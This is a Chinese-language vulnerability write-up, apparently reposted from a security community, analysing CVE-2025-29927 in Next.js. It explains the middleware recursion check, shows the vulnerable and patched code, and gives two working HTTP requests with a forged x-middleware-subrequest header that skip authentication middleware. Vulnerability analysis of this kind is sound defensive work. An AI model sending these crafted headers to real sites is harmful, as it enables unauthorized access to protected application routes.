找回密码
 立即注册
首页 业界区 业界 Next.js中间件权限绕过漏洞分析(CVE-2025-29927) ...

Next.js中间件权限绕过漏洞分析(CVE-2025-29927)

厨浴 4 天前
本文代码版本为next.js-15.2.2
本篇文章首发在先知社区:https://xz.aliyun.com/news/17403
一、漏洞概述

CVE-2025-29927是Next.js框架中存在的一个高危中间件逻辑绕过漏洞,允许攻击者通过构造特定HTTP请求头,绕过中间件的安全控制逻辑(如身份验证、路径重写、CSP防护等)。该漏洞CVSS评分9.1(Critical),可导致未授权访问、数据泄露及拒绝服务攻击。
二、漏洞分析

1. 漏洞背景

Next.js中间件(Middleware)允许开发者在请求到达目标路由前执行代码,典型应用场景包括:

  • 身份验证:检查用户会话Cookie,拦截未授权请求。
  • 路径重写:动态修改请求路径(如多语言路由/en/home → /home)。
  • 安全头设置:添加CSP、CORS等安全响应头。
中间件的安全性直接决定了应用的核心防护能力。若中间件逻辑被绕过,攻击者可直接访问后端业务逻辑。
2. 漏洞核心机制

用户发出请求在middleware中会请求身份验证接口,而请求身份验证接口也会经过middleware,所以为了解决请求身份验证接口这种逻辑,Next.js通过x-middleware-subrequest头标识内部递归请求。
每次递归请求都会向该头添加一次middleware,如果递归请求达到五次,就会返回一个带有 'x-middleware-next': '1' 的响应,表示忽略中间件的所有逻辑(包括鉴权检查)。
1.png

packages\next\src\server\web\sandbox\sandbox.ts3. 关键代码

简化代码:

  • params.name:中间件路径标识(如 src/middleware 或 middleware)。
  • subrequests:x-middleware-subrequest 头按 : 分割后的数组。
  • depth:统计 subrequests 中与 params.name 匹配的次数。
  1. const subreq = params.request.headers[`x-middleware-subrequest`]
  2. const subrequests = subreq.split(':') : []
  3. const MAX_RECURSION_DEPTH = 5
  4. const depth = subrequests.reduce(
  5.     (acc, curr) => (curr === params.name ? acc + 1 : acc),
  6.     0
  7. )
  8. if (depth >= MAX_RECURSION_DEPTH) {
  9.   return {
  10.     response: new runtime.context.Response(null, {
  11.       headers: {'x-middleware-next': '1',},}),}
  12.   }
复制代码
漏洞成因

  • 路径暴露:中间件的逻辑路径(middlewareInfo.name)可被攻击者推测。
  • 校验宽松:未对外部请求的x-middleware-subrequest头进行过滤,允许伪造内部请求标识。
4. Payload 构造

确定中间件路径标识
params.name 是中间件模块在 Next.js 构建过程中生成的逻辑路径标识,其值由.next/server/middleware-build-manifest.json文件决定。
2.png

构造绕过请求头
middleware.ts在根目录 → middleware
  1. GET /dashboard HTTP/1.1
  2. Host: localdomain:3000
  3. x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
复制代码
middleware.ts在 src 目录 → src/middleware
  1. GET /dashboard HTTP/1.1
  2. Host: localdomain:3000
  3. x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
复制代码
三、漏洞复现

环境地址:lem0n817/CVE-2025-29927 (github.com)
middleware

3.png

4.png

src/middleware

5.png

6.png

四、漏洞修复

Comparing v15.2.2...v15.2.3 · vercel/next.js (github.com)
这里是对多处进行了修改,挑选最关键的一处进行分析:
7.png

通过动态令牌验证(x-middleware-subrequest-id)和加密符号存储(Symbol.for)严格区分内外请求,非法伪造的x-middleware-subrequest头会被自动删除,确保中间件安全逻辑不被绕过。
  1. // If this request didn't origin from this session we filter
  2. // out the "x-middleware-subrequest" header so we don't skip
  3. // middleware incorrectly
  4. if (
  5.   header === 'x-middleware-subrequest' &&
  6.   headers['x-middleware-subrequest-id'] !==
  7.     (globalThis as any)[Symbol.for('@next/middleware-subrequest-id')]
  8. ) {
  9.   delete headers['x-middleware-subrequest']
  10. }
复制代码
五、参考

代码审计-知识星球 (zsxq.com)
Next.js 和损坏的中间件:授权工件 - zhero_web_security
CVE 2025 29927 Nextjs Auth Bypass - chestnut's blog
本文作者CVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
先知社区:https://xz.aliyun.com/users/136909
微信公众号:Lemon安全

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册